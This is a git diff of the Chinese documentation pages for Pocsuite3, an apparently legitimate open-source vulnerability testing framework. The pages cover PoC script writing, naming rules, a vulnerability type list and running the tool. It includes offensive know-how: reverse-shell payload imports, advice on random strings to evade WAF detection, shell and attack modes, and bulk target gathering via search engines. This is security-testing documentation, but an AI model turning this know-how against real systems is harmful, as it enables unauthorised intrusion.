在 PoC 插件中，attack 模式和 shell 模式的实现是可选的。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-script-write.html b/guide/poc-script-write.html
index 5d2a1a21..a7c731c9 100644
--- a/guide/poc-script-write.html
+++ b/guide/poc-script-write.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC python 脚本编写步骤 
本小节介绍 PoC python 脚本编写。
Pocsuite3 仅支持 Python 3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础。
从 0 到 1 
  1. 首先新建一个 *.py 文件，文件名应当符合 《PoC 命名规范》
  2. 从 pocsuite3.api 导入待用的类和方法，编写 PoC 实现类 DemoPOC，继承自 PoCBase 类。
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC python 脚本编写步骤 
本小节介绍 PoC python 脚本编写。
Pocsuite3 仅支持 Python 3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础。
从 0 到 1 
  1. 首先新建一个 *.py 文件，文件名应当符合 《PoC 命名规范》
  2. 从 pocsuite3.api 导入待用的类和方法，编写 PoC 实现类 DemoPOC，继承自 PoCBase 类。
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
 from pocsuite3.api import get_listener_ip, get_listener_port
 from pocsuite3.api import REVERSE_PAYLOAD, random_str
 
@@ -242,8 +242,8 @@
 
 register_poc(TestPOC)
 
YAML 格式 PoC 
从 2.0.0 版本开始，Pocsuite3 支持了 YAML 格式的 PoC，兼容 nuclei，可以直接使用 nuclei templates。
YAML PoC 模版开发可参考：nuclei-templating-guide。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-specification.html b/guide/poc-specification.html
index df1e4a9a..6a81e2bb 100644
--- a/guide/poc-specification.html
+++ b/guide/poc-specification.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC 规范说明 
PoC 编号说明 
PoC 编号 ID 与漏洞 ID 一致。示例，漏洞库中的漏洞统一采用 SSV-xxx 编号的方式，则 PoC 编号为 xxx。
PoC 命名规范 
Poc 命名格式：_编号_漏洞应用名_版本号_漏洞类型名称，然后把文件名称中的所有字母改成小写，所有的符号改成 _。 文件名不能有特殊字符和大写字母，最后出来的文件名应该像这样：
_1847_seeyon_3_1_login_info_disclosure.py
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC 规范说明 
PoC 编号说明 
PoC 编号 ID 与漏洞 ID 一致。示例，漏洞库中的漏洞统一采用 SSV-xxx 编号的方式，则 PoC 编号为 xxx。
PoC 命名规范 
Poc 命名格式：_编号_漏洞应用名_版本号_漏洞类型名称，然后把文件名称中的所有字母改成小写，所有的符号改成 _。 文件名不能有特殊字符和大写字母，最后出来的文件名应该像这样：
_1847_seeyon_3_1_login_info_disclosure.py
 
PoC 第三方模块依赖说明 
PoC 编写的时候要求尽量不要使用第三方模块，如果必要使用，请在 PoC 的基础信息部分，增加 install_requires 字段，按照以下格式填写依赖的模块名：
install_requires =[str_item_, str_item, …] # 整个字段的值为 list，每个项为一个依赖模块。
 
str_item 格式：模块名[><=]版本号，模块名为 pip install 安装时的模块名（请不要填写 import 的模块名）。
如果遇到安装时模块名与调用时的不一致情况，用 : 分割开，例如常见的加密算法库 pycryptodome，但是调用是以 from Crypto.Cipher import AES，此时就需要如下填写：
install_requires = ['pycryptodome>=3.12.0:Crypto']
 
TIP
install_requires 这个属性存在的意义是方便管理引入的第三方模块，加载 PoC 的时候如果检测到用户没有安装这个模块，可以提示用户安装模块后再继续运行。还有一个场景是可以通过代码解析出该属性然后自动安装相应模块，方便自动化解决依赖。无法用于导入模块，导入请手动 import 。
PoC 结果返回规范 
result 为 PoC 返回的结果数据，result 返回值要求返回完整的一项，暂不符合 result 字段的情况，放入 extra 字段中，此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞，如果步骤复杂，在取证信息中说明。例如：
# 返回数据库管理员密码
@@ -79,8 +79,8 @@
 ]
 
 
漏洞类型规范 
英文名称中文名称缩写
Cross Site Scripting  跨站脚本  xss
Cross Site Request Forgery  跨站请求伪造  csrf
SQL Injection  Sql注入  sql-inj
LDAP Injection  ldap注入  ldap-inj
Mail Command Injection  邮件命令注入  smtp-inj
Null Byte Injection  空字节注入  null-byte-inj
CRLF Injection  CRLF注入  crlf-inj
SSI Injection  Ssi注入  ssi-inj
XPath Injection  Xpath注入  xpath-inj
XML Injection  Xml注入  xml-inj
XQuery Injection  Xquery 注入  xquery-inj
Command Execution  命令执行  cmd-exec
Code Execution  代码执行  code-exec
Remote File Inclusion  远程文件包含  rfi
Local File Inclusion  本地文件包含  lfi
Abuse of Functionality  功能函数滥用  func-abuse
Brute Force  暴力破解  brute-force
Buffer Overflow  缓冲区溢出  buffer-overflow
Content Spoofing  内容欺骗  spoofing
Credential Prediction  证书预测  credential-prediction
Session Prediction  会话预测  session-prediction
Denial of Service  拒绝服务  dos
Fingerprinting  指纹识别  finger
Format String  格式化字符串  format-string
HTTP Response Smuggling  http响应伪造  http-response-smuggling
HTTP Response Splitting  http响应拆分  http-response-splitting
HTTP Request Splitting  http请求拆分  http-request-splitting
HTTP Request Smuggling  http请求伪造  http-request-smuggling
HTTP Parameter Pollution  http参数污染  hpp
Integer Overflows  整数溢出  int-overflow
Predictable Resource Location  可预测资源定位  res-location
Session Fixation  会话固定  session-fixation
URL Redirector Abuse  url重定向  redirect
Privilege Escalation  权限提升  privilege-escalation
Resolve Error  解析错误  resolve-error
Arbitrary File Creation  任意文件创建  file-creation
Arbitrary File Download  任意文件下载  file-download
Arbitrary File Deletion  任意文件删除  file-deletion
Arbitrary File Read  任意文件读取  file-read
Backup File Found  备份文件发现  bak-file-found
Database Found  数据库发现  db-found
Directory Listing  目录遍历  dir-listing
Directory Traversal  目录穿越  dir-traversal
File Upload  文件上传  file-upload
Login Bypass  登录绕过  login-bypass
Weak Password  弱密码  weak-pass
Remote Password Change  远程密码修改  remote-pass-change
Code Disclosure  代码泄漏  code-disclosure
Path Disclosure  路径泄漏  path-disclosure
Information Disclosure  信息泄漏  info-disclosure
Security Mode Bypass  安全模式绕过  sec-bypass
Malware  挂马  mal
Black Link  暗链  black-link
Backdoor  后门  backdoor
Insecure Cookie Handling  不安全的Cookie  insecure-cookie-handling
Shellcode  Shellcode  shellcode
Variable Coverage  变量覆盖  variable-coverage
Injecting Malware Codes  恶意代码注入  injecting-malware-codes
Upload Files  文件上传  upload-files
Local Overflow  本地溢出  local-overflow
Path Traversal  目录穿越  path-traversal
Unauthorized Access  未授权访问  unauth-access
Remote Overflow  远程溢出  remote-overflow
Man-in-the-middle  中间人攻击  mitm
Out of Memory  内存溢出  out-of-memory
Buffer Over-read  缓冲区越界读  buffer-over-read
Backup File Found  备份文件泄漏  backup-file-found
Use After Free  释放后使用  uaf
DNS Hijacking  DNS劫持  dns-hijacking
Improper Input Validation  不正确的输入校验  improper-input-validation
Universal Cross-site Scripting  通用型XSS  uxss
Server-Side Request Forgery  服务器端请求伪造  ssrf
Other  其他  other
也可以参考 Seebug 漏洞类型规范。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-write-notice.html b/guide/poc-write-notice.html
index 8bb434d3..79d530d2 100644
--- a/guide/poc-write-notice.html
+++ b/guide/poc-write-notice.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 编写注意事项 
  1. 编写 PoC 的时候，尽量不要使用第三方模块，如果在无法避免的情况下，请认真填写 install_requires 字段，填写格式参考：《PoC 第三方模块依赖说明》。
  2. 编写 PoC 的时候，尽量的使用 Pocsuite3 已经封装的 API 提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到 API，具体参考《通用 API 列表》。
  3. 如果 PoC 需要包含远程文件等，统一使用 Pocsuite3 远程调用文件，具体可以参考《Pocsuite3 远程调用文件列表》，不要引入第三方文件，如果缺少对应文件，可 GitHub 提交 PR。
  4. 每个 PoC 在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于 PoC 的批量化调度执行，尽可能的 PoC 内部实现参数的构造，至少应该设置默认值，如某个 PoC 需要指定用户 id，那么应该允许使用自定义参数传入 id，也应该没有传入该参数的时候自动设置默认值，不应该影响 PoC 的正常运行与验证。
  5. 每个 PoC 在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考《PoC 结果返回规范》。
  6. 为方便 PoC 管理，请认真填写 PoC 信息字段，其中 vulID 请填写 Seebug 上的漏洞 ID（不包含 SSV-）。
  7. 为了防止误报产生以及避免关键词被 WAF 等作为检测特征，要求验证结果判断的时候输出随机的字符串（可以调用 API 中的 random_str 方法），而不用采用固定字符串。
比如：
检测 SQL 注入时：
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 编写注意事项 
  1. 编写 PoC 的时候，尽量不要使用第三方模块，如果在无法避免的情况下，请认真填写 install_requires 字段，填写格式参考：《PoC 第三方模块依赖说明》。
  2. 编写 PoC 的时候，尽量的使用 Pocsuite3 已经封装的 API 提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到 API，具体参考《通用 API 列表》。
  3. 如果 PoC 需要包含远程文件等，统一使用 Pocsuite3 远程调用文件，具体可以参考《Pocsuite3 远程调用文件列表》，不要引入第三方文件，如果缺少对应文件，可 GitHub 提交 PR。
  4. 每个 PoC 在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于 PoC 的批量化调度执行，尽可能的 PoC 内部实现参数的构造，至少应该设置默认值，如某个 PoC 需要指定用户 id，那么应该允许使用自定义参数传入 id，也应该没有传入该参数的时候自动设置默认值，不应该影响 PoC 的正常运行与验证。
  5. 每个 PoC 在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考《PoC 结果返回规范》。
  6. 为方便 PoC 管理，请认真填写 PoC 信息字段，其中 vulID 请填写 Seebug 上的漏洞 ID（不包含 SSV-）。
  7. 为了防止误报产生以及避免关键词被 WAF 等作为检测特征，要求验证结果判断的时候输出随机的字符串（可以调用 API 中的 random_str 方法），而不用采用固定字符串。
比如：
检测 SQL 注入时：
     token = random_str()
     payload = 'select md5(%s)' % token
     ...
@@ -50,8 +50,8 @@
 return self.parse_output(result)
 
 
  1. 检测模式下，上传的文件一定要删掉。
  2. 程序可以通过某些方法获取表前缀，just do it；若不行，保持默认表前缀。
  3. PoC 编写好后，务必进行测试，测试规则为：5 个不受漏洞影响的网站，确保 PoC 验证不成功；5 个受漏洞影响的网站，确保 PoC 验证成功
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/run.html b/guide/run.html
index 3530d670..3e4731bc 100644
--- a/guide/run.html
+++ b/guide/run.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
运行 
Pocsuite3 有三种运行方法，1、命令行；2、交互式控制台；3、集成调用。
命令行 
直接运行 pocsuite 命令，并使用对应参数指定待测试的目标和 PoC。
也可以将参数定义在 pocsuite3.ini 文件中，然后使用 pocsuite -c pocsuite.ini 运行。
配置示例可见：pocsuite.ini 配置文件参数说明
交互式控制台 
类似 Metasploit 的控制台，使用 poc-console 命令进入。
集成调用 
Pocsuite3 api 提供了集成调用 pocsuite3 的全部功能函数，可参见测试用例 tests/test_import_pocsuite_execute.py。典型的集成调用方法如下：
from pocsuite3.api import init_pocsuite
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
运行 
Pocsuite3 有三种运行方法，1、命令行；2、交互式控制台；3、集成调用。
命令行 
直接运行 pocsuite 命令，并使用对应参数指定待测试的目标和 PoC。
也可以将参数定义在 pocsuite3.ini 文件中，然后使用 pocsuite -c pocsuite.ini 运行。
配置示例可见：pocsuite.ini 配置文件参数说明
交互式控制台 
类似 Metasploit 的控制台，使用 poc-console 命令进入。
集成调用 
Pocsuite3 api 提供了集成调用 pocsuite3 的全部功能函数，可参见测试用例 tests/test_import_pocsuite_execute.py。典型的集成调用方法如下：
from pocsuite3.api import init_pocsuite
 from pocsuite3.api import start_pocsuite
 from pocsuite3.api import get_results
 
@@ -31,8 +31,8 @@
     result = get_results()
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/what-is-pocsuite3.html b/guide/what-is-pocsuite3.html
index ef40243f..fb852ca5 100644
--- a/guide/what-is-pocsuite3.html
+++ b/guide/what-is-pocsuite3.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Pocsuite3 是什么？ 
简介 
Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目，自 2015 年开源以来，不断更新迭代，保障了我们的 Web 安全研究能力的领先。
你可以直接使用 Pocsuite3 进行漏洞的验证与利用，也可以基于 Pocsuite3 进行 PoC/Exp 的开发，因为它也是一个 PoC 开发框架；同时，还可以在你的漏洞测试工具里直接集成 Pocsuite3，它也提供标准的调用类。
功能介绍 
漏洞测试框架 
Pocsuite3 采用 Python3 编写，支持验证，利用及 shell 三种模式，你可以指定单个目标或者从文件导入多个目标，使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用，也支持类似 Metasploit 的交互模式进行处理，除此之外，还包含了一些基本的如输出结果报告等功能。
PoC/Exp 开发包 
Pocsuite3 也是一个 PoC/Exp 的 SDK，也就是开发包，我们封装了基础的 PoC 类，以及一些常用的方法，比如 Webshell 的相关方法，基于 Pocsuite3 进行 PoC/Exp 的开发，你可以只要编写最核心的漏洞验证部分代码，而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite3 使用，Seebug 网站也有几千个基于 Pocsuite3 的 PoC/Exp。
可被集成模块 
Pocsuite3 除了本身直接就是一个安全工具外，也可以作为一个 Python 包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用，我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类，你可以基于 Pocsuite3 进行二次开发，调用 Pocsuite3 开发你自己的漏洞验证工具。
集成 ZoomEye、Seebug、Ceye、Shodan 等 
Pocsuite3 还集成了 ZoomEye、Seebug、Ceye 、Shodan 等众多安全服务的 API，通过该功能，你可以通过 ZoomEye API 批量获取指定条件的测试目标（通过 ZoomEye 的 Dork 进行搜索），同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC，进行自动化的批量测试，利用 Ceye 验证盲打的 DNS 和 HTTP 请求。
一些特性 
  • 支持 verify、attack、shell 三种模式，不仅为扫描而生，也可用于其他场景，比如漏洞利用、获取目标的交互式 shell
  • 从任何地方动态加载 PoC 脚本（本地文件、redis、数据库、Seebug...）
  • 从任何地方加载目标（CIDR、本地文件、redis、数据库、ZoomEye...）
  • 结果可以轻松导出
  • 插件系统，用户可自定义 TARGETS、POCS、RESULTS 类型插件，可拓展性强
  • 动态 hook urllib3、requests，方便 PoC 编写及全局控制
  • 既可以当成一个命令行工具使用，也可以当成 Python 模块导入
  • IPv4/IPv6 支持
  • 全局 HTTP/HTTPS/SOCKS 代理支持
  • 支持 YAML 格式 PoC，与 nuclei 的 PoC 模版兼容
  • 集成 Seebug (通过 Seebug API 读取指定组件或者类型的漏洞的 PoC)
  • 集成 ZoomEye、Shodan 等网络空间搜索引擎 (通过 API 批量获取测试目标)
  • 集成 Ceye、Interactsh (DNSLog 盲打平台)
  • 业界良心，代码全开源
  • 更多...
和 Metasploit 相比，Pocsuite3 目前不具有后渗透阶段的能力，比较轻量级。而相比于 YAML 格式的 PoC 框架，Pocsuite3 更加灵活，可以直接使用大量的第三方库，用户只要会写 Python，就能快速上手。
从 2.0.0 版本开始，Pocsuite3 支持 YAML 格式的 PoC，兼容 nuclei，可以直接使用 nuclei template。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Pocsuite3 是什么？ 
简介 
Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目，自 2015 年开源以来，不断更新迭代，保障了我们的 Web 安全研究能力的领先。
你可以直接使用 Pocsuite3 进行漏洞的验证与利用，也可以基于 Pocsuite3 进行 PoC/Exp 的开发，因为它也是一个 PoC 开发框架；同时，还可以在你的漏洞测试工具里直接集成 Pocsuite3，它也提供标准的调用类。
功能介绍 
漏洞测试框架 
Pocsuite3 采用 Python3 编写，支持验证，利用及 shell 三种模式，你可以指定单个目标或者从文件导入多个目标，使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用，也支持类似 Metasploit 的交互模式进行处理，除此之外，还包含了一些基本的如输出结果报告等功能。
PoC/Exp 开发包 
Pocsuite3 也是一个 PoC/Exp 的 SDK，也就是开发包，我们封装了基础的 PoC 类，以及一些常用的方法，比如 Webshell 的相关方法，基于 Pocsuite3 进行 PoC/Exp 的开发，你可以只要编写最核心的漏洞验证部分代码，而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite3 使用，Seebug 网站也有几千个基于 Pocsuite3 的 PoC/Exp。
可被集成模块 
Pocsuite3 除了本身直接就是一个安全工具外，也可以作为一个 Python 包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用，我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类，你可以基于 Pocsuite3 进行二次开发，调用 Pocsuite3 开发你自己的漏洞验证工具。
集成 ZoomEye、Seebug、Ceye、Shodan 等 
Pocsuite3 还集成了 ZoomEye、Seebug、Ceye 、Shodan 等众多安全服务的 API，通过该功能，你可以通过 ZoomEye API 批量获取指定条件的测试目标（通过 ZoomEye 的 Dork 进行搜索），同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC，进行自动化的批量测试，利用 Ceye 验证盲打的 DNS 和 HTTP 请求。
一些特性 
  • 支持 verify、attack、shell 三种模式，不仅为扫描而生，也可用于其他场景，比如漏洞利用、获取目标的交互式 shell
  • 从任何地方动态加载 PoC 脚本（本地文件、redis、数据库、Seebug...）
  • 从任何地方加载目标（CIDR、本地文件、redis、数据库、ZoomEye...）
  • 结果可以轻松导出
  • 插件系统，用户可自定义 TARGETS、POCS、RESULTS 类型插件，可拓展性强
  • 动态 hook urllib3、requests，方便 PoC 编写及全局控制
  • 既可以当成一个命令行工具使用，也可以当成 Python 模块导入
  • IPv4/IPv6 支持
  • 全局 HTTP/HTTPS/SOCKS 代理支持
  • 支持 YAML 格式 PoC，与 nuclei 的 PoC 模版兼容
  • 集成 Seebug (通过 Seebug API 读取指定组件或者类型的漏洞的 PoC)
  • 集成 ZoomEye、Shodan 等网络空间搜索引擎 (通过 API 批量获取测试目标)
  • 集成 Ceye、Interactsh (DNSLog 盲打平台)
  • 业界良心，代码全开源
  • 更多...
和 Metasploit 相比，Pocsuite3 目前不具有后渗透阶段的能力，比较轻量级。而相比于 YAML 格式的 PoC 框架，Pocsuite3 更加灵活，可以直接使用大量的第三方库，用户只要会写 Python，就能快速上手。
从 2.0.0 版本开始，Pocsuite3 支持 YAML 格式的 PoC，兼容 nuclei，可以直接使用 nuclei template。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/hashmap.json b/hashmap.json
index 5860d72a..d493e43e 100644
--- a/hashmap.json
+++ b/hashmap.json
@@ -1 +1 @@
-{"en_guide_qa.md":"bdbd3cf9","en_guide_architecture.md":"fa6baf8e","en_guide_copyright-notice.md":"3d108e17","en_guide_especial.md":"96b22eec","en_guide_exploit-db.md":"0b681339","en_guide_install.md":"50f5c87e","en_guide_legal-disclaimer.md":"f7b8ac22","en_guide_literature.md":"dfa81dcf","en_guide_parameter-integration.md":"e0f9df00","en_guide_parameter-poc-console.md":"54c9467c","en_guide_parameter-pocsuite.md":"e304633c","en_guide_parameter-posuite-ini.md":"9791eacb","en_guide_plugin-introduction.md":"58518f99","en_guide_plugin-pocs.md":"fe0508f6","en_guide_plugin-results.md":"b98ee8c0","en_guide_plugin-targets.md":"52a1bc84","en_guide_poc-api.md":"45b7210c","en_guide_poc-base-class.md":"8eaf9585","en_guide_poc-code-example.md":"ec183e82","en_guide_poc-definition-options.md":"0798457d","en_guide_poc-demo-camera-auth-bypass.md":"aa13eaf5","en_guide_poc-demo-cve-2019-10758.md":"a8e110c0","en_guide_poc-demo-cve-2019-15107.md":"40d9c358","en_guide_poc-demo-cve-2021-43798.md":"47f050e1","en_guide_poc-demo-introduction.md":"e7ee9ff4","en_guide_poc-introduction.md":"2bf7cfc6","en_guide_poc-mode.md":"4dca72d7","en_guide_poc-remote-file.md":"cbba41dc","en_guide_poc-script-write.md":"8dbaf201","en_guide_poc-specification.md":"2f6b32dd","en_guide_poc-write-notice.md":"a567b366","en_guide_run.md":"1a0e0e78","en_guide_what-is-pocsuite3.md":"92c7bfc5","guide_qa.md":"c730a013","guide_architecture.md":"d86ed66c","guide_copyright-notice.md":"7570b242","guide_especial.md":"03258614","guide_exploit-db.md":"30946690","guide_install.md":"c9232c92","guide_legal-disclaimer.md":"2eaef921","guide_literature.md":"e2e9dc29","guide_parameter-integration.md":"50a512fa","guide_parameter-poc-console.md":"1bcf094e","guide_parameter-pocsuite.md":"c6994072","guide_parameter-posuite-ini.md":"fba30a6f","guide_plugin-introduction.md":"270095a3","guide_plugin-pocs.md":"90582fac","guide_plugin-results.md":"d8db9589","guide_plugin-targets.md":"0d4dd86d","guide_poc-api.md":"a7e4ad22","guide_poc-base-class.md":"693cb4ec","guide_poc-code-example.md":"d81ad000","guide_poc-definition-options.md":"895295a4","guide_poc-demo-camera-auth-bypass.md":"e5edd6c0","guide_poc-demo-cve-2019-10758.md":"cfd63a97","guide_poc-demo-cve-2019-15107.md":"93964d1e","guide_poc-demo-cve-2021-43798.md":"32a585da","guide_poc-demo-introduction.md":"31c0b4ad","guide_poc-introduction.md":"4016d179","guide_poc-mode.md":"cc4f565b","guide_poc-remote-file.md":"39d426e9","guide_poc-run-mode.md":"62abef6c","guide_poc-script-write.md":"4c80b969","guide_poc-specification.md":"783d6ac1","guide_poc-write-notice.md":"ef5c2e19","guide_run.md":"18c8c6b3","guide_what-is-pocsuite3.md":"9c8cbe16","index.md":"bd516dae"}
+{"en_guide_qa.md":"bdbd3cf9","en_guide_architecture.md":"fa6baf8e","en_guide_copyright-notice.md":"3d108e17","en_guide_especial.md":"96b22eec","en_guide_exploit-db.md":"0b681339","en_guide_install.md":"50f5c87e","en_guide_legal-disclaimer.md":"f7b8ac22","en_guide_literature.md":"dfa81dcf","en_guide_parameter-integration.md":"e0f9df00","en_guide_parameter-poc-console.md":"54c9467c","en_guide_parameter-pocsuite.md":"f01bc777","en_guide_parameter-posuite-ini.md":"9791eacb","en_guide_plugin-introduction.md":"58518f99","en_guide_plugin-pocs.md":"fe0508f6","en_guide_plugin-results.md":"b98ee8c0","en_guide_plugin-targets.md":"52a1bc84","en_guide_poc-api.md":"45b7210c","en_guide_poc-base-class.md":"8eaf9585","en_guide_poc-code-example.md":"ec183e82","en_guide_poc-definition-options.md":"0798457d","en_guide_poc-demo-camera-auth-bypass.md":"aa13eaf5","en_guide_poc-demo-cve-2019-10758.md":"a8e110c0","en_guide_poc-demo-cve-2019-15107.md":"40d9c358","en_guide_poc-demo-cve-2021-43798.md":"47f050e1","en_guide_poc-demo-introduction.md":"e7ee9ff4","en_guide_poc-introduction.md":"2bf7cfc6","en_guide_poc-mode.md":"4dca72d7","en_guide_poc-remote-file.md":"cbba41dc","en_guide_poc-script-write.md":"8dbaf201","en_guide_poc-specification.md":"2f6b32dd","en_guide_poc-write-notice.md":"a567b366","en_guide_run.md":"1a0e0e78","en_guide_what-is-pocsuite3.md":"92c7bfc5","guide_qa.md":"c730a013","guide_architecture.md":"d86ed66c","guide_copyright-notice.md":"7570b242","guide_especial.md":"03258614","guide_exploit-db.md":"30946690","guide_install.md":"c9232c92","guide_legal-disclaimer.md":"2eaef921","guide_literature.md":"e2e9dc29","guide_parameter-integration.md":"50a512fa","guide_parameter-poc-console.md":"1bcf094e","guide_parameter-pocsuite.md":"ad7d3ac0","guide_parameter-posuite-ini.md":"fba30a6f","guide_plugin-introduction.md":"270095a3","guide_plugin-pocs.md":"90582fac","guide_plugin-results.md":"d8db9589","guide_plugin-targets.md":"0d4dd86d","guide_poc-api.md":"a7e4ad22","guide_poc-base-class.md":"693cb4ec","guide_poc-code-example.md":"d81ad000","guide_poc-definition-options.md":"895295a4","guide_poc-demo-camera-auth-bypass.md":"e5edd6c0","guide_poc-demo-cve-2019-10758.md":"cfd63a97","guide_poc-demo-cve-2019-15107.md":"93964d1e","guide_poc-demo-cve-2021-43798.md":"32a585da","guide_poc-demo-introduction.md":"31c0b4ad","guide_poc-introduction.md":"4016d179","guide_poc-mode.md":"cc4f565b","guide_poc-remote-file.md":"39d426e9","guide_poc-run-mode.md":"62abef6c","guide_poc-script-write.md":"4c80b969","guide_poc-specification.md":"783d6ac1","guide_poc-write-notice.md":"ef5c2e19","guide_run.md":"18c8c6b3","guide_what-is-pocsuite3.md":"9c8cbe16","index.md":"bd516dae"}
diff --git a/index.html b/index.html
index 9381e4e2..614fd76b 100644
--- a/index.html
+++ b/index.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
Pocsuite3
知道创宇 404 实验室打造的一款开源远程漏洞测试框架
Get Started
View on GitHub
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
Pocsuite3
知道创宇 404 实验室打造的一款开源远程漏洞测试框架
Get Started
View on GitHub
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file